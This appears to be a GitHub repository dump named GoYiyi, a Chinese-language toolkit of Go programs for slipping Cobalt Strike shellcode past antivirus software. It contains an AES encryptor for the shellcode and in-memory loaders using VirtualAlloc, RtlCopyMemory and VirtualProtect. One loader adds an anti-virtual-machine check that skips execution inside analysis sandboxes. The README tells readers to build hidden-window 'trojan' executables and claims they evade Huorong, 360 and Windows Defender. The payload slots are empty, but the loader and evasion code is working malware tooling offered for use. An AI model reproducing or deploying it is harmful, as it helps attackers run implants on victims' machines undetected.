├── README.md ├── 内存加载shellcode2 └── main.go ├── 内存加载shellcode └── main.go ├── 反虚拟机 └── main.go └── AES加密 └── main.go /README.md: -------------------------------------------------------------------------------- 1 | # GoYiyi 2 | 提供一个Golang 的bypass AV 思路。 3 | ## 文件介绍 4 | 1. AES加密 -> 将shellcode进行AES加密; 5 | 2. 内存加载shellcode -> 用来生成可执行木马; 6 | 3. 内存加载shellcode2 -> "内存加载shellcode"加载器重构版, 也是用来生成可执行木马, 能过的杀软比"内存加载shellcode"多; 7 | 4. 反虚拟机 -> 在"内存加载shellcode2"基础上增加了反虚拟机的功能。 8 | ## 流程 9 | 总的来说,就是AES加密shellcode -> 用加载器解密并加载shellcode: 10 | 1. 将Cobalt_Strike 生成的shellcode(C语言,格式替换为0x00,0x00)放入"AES"中加密; 11 | 2. 将加密过后的shellcode 放入文件"内存加载shellcode(内存加载shellcode2、反虚拟机)"的main.go中; 12 | 3. 用-ldflags="-H windowsgui" 打包内存加载shellcode(或者内存加载shellcode2、反虚拟机)。 13 | 14 | (用"内存加载shellcode"打包的exe不能过火绒; 用"内存加载shellcode2"打包的exe过火绒、360和Windows Defender等) 15 | 16 | ## Star History 17 | 18 | [![Star History Chart](https://api.star-history.com/svg?repos=Ed1s0nZ/GoYiyi&type=Timeline)](https://star-history.com/#Ed1s0nZ/GoYiyi&Timeline) 19 | -------------------------------------------------------------------------------- /内存加载shellcode2/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/aes" 5 | "crypto/cipher" 6 | "encoding/base64" 7 | "fmt" 8 | "syscall" 9 | "unsafe" 10 | ) 11 | 12 | var iv = "0000000000000000" 13 | 14 | func PKCS5UnPadding(origData []byte) []byte { 15 | length := len(origData) 16 | unpadding := int(origData[length-1]) 17 | return origData[:(length - unpadding)] 18 | } 19 | func AesDecrypt(decodeStr string, key []byte) ([]byte, error) { 20 | decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr) 21 | if err != nil { 22 | return nil, err 23 | } 24 | block, err := aes.NewCipher(key) 25 | if err != nil { 26 | return nil, err 27 | } 28 | blockMode := cipher.NewCBCDecrypter(block, []byte(iv)) 29 | origData := make([]byte, len(decodeBytes)) 30 | 31 | blockMode.CryptBlocks(origData, decodeBytes) 32 | origData = PKCS5UnPadding(origData) 33 | return origData, nil 34 | } 35 | 36 | func CError(err error) { 37 | if err != nil { 38 | fmt.Println(err) 39 | return 40 | } 41 | return 42 | } 43 | 44 | const ( 45 | MEM_COMMIT = 0x1000 46 | MEM_RESERVE = 0x2000 47 | PAGE_EXECUTE_READWRITE = 0x40 48 | KEY_1 = 90 49 | KEY_2 = 91 50 | ) 51 | 52 | var ( 53 | kernel32 = syscall.MustLoadDLL("kernel32.dll") 54 | ntdll = syscall.MustLoadDLL("ntdll.dll") 55 | VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") 56 | RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") 57 | ) 58 | 59 | func main() { 60 | var enc_key1 = "zizwsxedc" 61 | var enc_key2 = "1234567" 62 | var info_list = [...]string{"sasa2sasas1sssaas", "ssssasa", "aesaes="} // 第三个(aesaes=替换为shellcode)里面放加密过的shellcode 63 | shellcode, _ := AesDecrypt(info_list[2], []byte(enc_key1+enc_key2)) 64 | addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) 65 | if err != nil && err.Error() != "The operation completed successfully." { 66 | syscall.Exit(0) 67 | } 68 | _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) 69 | if err != nil && err.Error() != "The operation completed successfully." { 70 | syscall.Exit(0) 71 | } 72 | syscall.Syscall(addr, 0, 0, 0, 0) 73 | 74 | } 75 | -------------------------------------------------------------------------------- /内存加载shellcode/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/aes" 5 | "crypto/cipher" 6 | "encoding/base64" 7 | "fmt" 8 | "syscall" 9 | "unsafe" 10 | ) 11 | 12 | var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect") 13 | 14 | var iv = "0000000000000000" 15 | 16 | func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool { 17 | ret, _, _ := procVirtualProtect.Call( 18 | uintptr(lpAddress), 19 | uintptr(dwSize), 20 | uintptr(flNewProtect), 21 | uintptr(lpflOldProtect)) 22 | return ret > 0 23 | } 24 | 25 | func Run(sc []byte) { 26 | 27 | f := func() {} 28 | 29 | var oldfperms uint32 30 | if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) { 31 | panic("Call to VirtualProtect failed!") 32 | } 33 | 34 | **(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc)) 35 | 36 | var oldshellcodeperms uint32 37 | if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) { 38 | panic("Call to VirtualProtect failed!") 39 | } 40 | 41 | f() 42 | } 43 | 44 | func PKCS5UnPadding(origData []byte) []byte { 45 | length := len(origData) 46 | unpadding := int(origData[length-1]) 47 | return origData[:(length - unpadding)] 48 | } 49 | func AesDecrypt(decodeStr string, key []byte) ([]byte, error) { 50 | decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr) 51 | if err != nil { 52 | return nil, err 53 | } 54 | block, err := aes.NewCipher(key) 55 | if err != nil { 56 | return nil, err 57 | } 58 | blockMode := cipher.NewCBCDecrypter(block, []byte(iv)) 59 | origData := make([]byte, len(decodeBytes)) 60 | 61 | blockMode.CryptBlocks(origData, decodeBytes) 62 | origData = PKCS5UnPadding(origData) 63 | return origData, nil 64 | } 65 | 66 | func CError(err error) { 67 | if err != nil { 68 | fmt.Println(err) 69 | return 70 | } 71 | return 72 | 73 | } 74 | func main() { 75 | //abcdekaWDCasCAWQ 76 | var enc_key1 = "zizwsxedc" 77 | var enc_key2 = "1234567" 78 | var info_list = [...]string{"sasa2sasas1sssaas", "ssssasa", "asdsadsadsad"} // 第三个里面放加密过的shellcode 79 | sc, _ := AesDecrypt(info_list[2], []byte(enc_key1+enc_key2)) 80 | Run([]byte(sc)) 81 | 82 | } 83 | -------------------------------------------------------------------------------- /反虚拟机/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/aes" 5 | "crypto/cipher" 6 | "encoding/base64" 7 | "fmt" 8 | "os/exec" 9 | "strings" 10 | "syscall" 11 | "unsafe" 12 | ) 13 | 14 | var iv = "0000000000000000" 15 | 16 | func PKCS5UnPadding(origData []byte) []byte { 17 | length := len(origData) 18 | unpadding := int(origData[length-1]) 19 | return origData[:(length - unpadding)] 20 | } 21 | func AesDecrypt(decodeStr string, key []byte) ([]byte, error) { 22 | decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr) 23 | if err != nil { 24 | return nil, err 25 | } 26 | block, err := aes.NewCipher(key) 27 | if err != nil { 28 | return nil, err 29 | } 30 | blockMode := cipher.NewCBCDecrypter(block, []byte(iv)) 31 | origData := make([]byte, len(decodeBytes)) 32 | 33 | blockMode.CryptBlocks(origData, decodeBytes) 34 | origData = PKCS5UnPadding(origData) 35 | return origData, nil 36 | } 37 | 38 | func CError(err error) { 39 | if err != nil { 40 | fmt.Println(err) 41 | return 42 | } 43 | return 44 | } 45 | 46 | func isVirtualMachine() (bool, error) { // 识别虚拟机 47 | model := "" 48 | var cmd *exec.Cmd 49 | cmd = exec.Command("cmd", "/C", "wmic path Win32_ComputerSystem get Model") 50 | stdout, err := cmd.Output() 51 | if err != nil { 52 | return false, err 53 | } 54 | model = string(stdout) 55 | if strings.Contains(model, "VirtualBox") || strings.Contains(model, "Virtual Machine") || strings.Contains(model, "VMware Virtual Platform") || 56 | strings.Contains(model, "KVM") || strings.Contains(model, "Bochs") || strings.Contains(model, "HVM domU") || strings.Contains(model, "VMware") { 57 | return true, nil //如果是虚拟机则返回true 58 | } 59 | return false, nil 60 | } 61 | 62 | const ( 63 | MEM_COMMIT = 0x1000 64 | MEM_RESERVE = 0x2000 65 | PAGE_EXECUTE_READWRITE = 0x40 66 | KEY_1 = 90 67 | KEY_2 = 91 68 | ) 69 | 70 | var ( 71 | kernel32 = syscall.MustLoadDLL("kernel32.dll") 72 | ntdll = syscall.MustLoadDLL("ntdll.dll") 73 | VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") 74 | RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") 75 | ) 76 | 77 | func main() { 78 | bool, _ := isVirtualMachine() 79 | if !bool { 80 | var enc_key1 = "zizwsxedc" 81 | var enc_key2 = "1234567" 82 | var info_list = [...]string{"sasa2sasas1sssaas", "ssssasa", "aesaes="} // 第三个(aesaes=替换为shellcode)里面放加密过的shellcode 83 | shellcode, _ := AesDecrypt(info_list[2], []byte(enc_key1+enc_key2)) 84 | addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) 85 | if err != nil && err.Error() != "The operation completed successfully." { 86 | syscall.Exit(0) 87 | } 88 | _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) 89 | if err != nil && err.Error() != "The operation completed successfully." { 90 | syscall.Exit(0) 91 | } 92 | syscall.Syscall(addr, 0, 0, 0, 0) 93 | } else { 94 | return // 如果是在虚拟机里则什么都不做 95 | } 96 | } 97 | -------------------------------------------------------------------------------- /AES加密/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "crypto/aes" 6 | "crypto/cipher" 7 | "crypto/rand" 8 | "encoding/base64" 9 | "fmt" 10 | ) 11 | 12 | const ( 13 | StdLen = 16 14 | UUIDLen = 20 15 | iv = "0000000000000000" 16 | ) 17 | 18 | var StdChars = []byte("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789") 19 | 20 | func Get_aes_key() []byte { 21 | return NewLenChars(StdLen, StdChars) 22 | } 23 | 24 | // NewLenChars returns a new random string of the provided length, consisting of the provided byte slice of allowed characters(maximum 256). 25 | func NewLenChars(length int, chars []byte) []byte { 26 | if length == 0 { 27 | _ = 1 28 | } 29 | clen := len(chars) 30 | if clen < 2 || clen > 256 { 31 | panic("Wrong charset length for NewLenChars()") 32 | } 33 | maxrb := 255 - (256 % clen) 34 | b := make([]byte, length) 35 | r := make([]byte, length+(length/4)) // storage for random bytes. 36 | i := 0 37 | for { 38 | if _, err := rand.Read(r); err != nil { 39 | panic("Error reading random bytes: " + err.Error()) 40 | } 41 | for _, rb := range r { 42 | c := int(rb) 43 | if c > maxrb { 44 | continue // Skip this number to avoid modulo bias. 45 | } 46 | b[i] = chars[c%clen] 47 | i++ 48 | if i == length { 49 | return b 50 | } 51 | } 52 | } 53 | } 54 | 55 | func PKCS5Padding(ciphertext []byte, blockSize int) []byte { 56 | padding := blockSize - len(ciphertext)%blockSize 57 | padtext := bytes.Repeat([]byte{byte(padding)}, padding) 58 | return append(ciphertext, padtext...) 59 | } 60 | 61 | func PKCS5UnPadding(origData []byte) []byte { 62 | length := len(origData) 63 | unpadding := int(origData[length-1]) 64 | return origData[:(length - unpadding)] 65 | } 66 | func AesDecrypt(decodeStr string, key []byte) ([]byte, error) { 67 | decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr) 68 | if err != nil { 69 | return nil, err 70 | } 71 | block, err := aes.NewCipher(key) 72 | if err != nil { 73 | return nil, err 74 | } 75 | blockMode := cipher.NewCBCDecrypter(block, []byte(iv)) 76 | origData := make([]byte, len(decodeBytes)) 77 | 78 | blockMode.CryptBlocks(origData, decodeBytes) 79 | origData = PKCS5UnPadding(origData) 80 | return origData, nil 81 | } 82 | 83 | func AesEncrypt(encodeBytes []byte, key []byte) (string, error) { 84 | 85 | block, err := aes.NewCipher(key) 86 | if err != nil { 87 | return "", err 88 | } 89 | 90 | blockSize := block.BlockSize() 91 | fmt.Println(blockSize) 92 | encodeBytes = PKCS5Padding(encodeBytes, blockSize) 93 | 94 | blockMode := cipher.NewCBCEncrypter(block, []byte(iv)) 95 | crypted := make([]byte, len(encodeBytes)) 96 | blockMode.CryptBlocks(crypted, encodeBytes) 97 | 98 | return base64.StdEncoding.EncodeToString(crypted), nil 99 | } 100 | 101 | func main() { 102 | var payload = []byte{} // 这里放CS 生成的shellcode(C语言) 修改为形如: 0xfc,0x00的格式 103 | key := "zizwsxedc1234567" 104 | b, _ := AesEncrypt([]byte(payload), []byte(key)) 105 | fmt.Println("key: " + string(key)) 106 | 107 | fmt.Println("enc_info: " + string(b)) 108 | 109 | } 110 | --------------------------------------------------------------------------------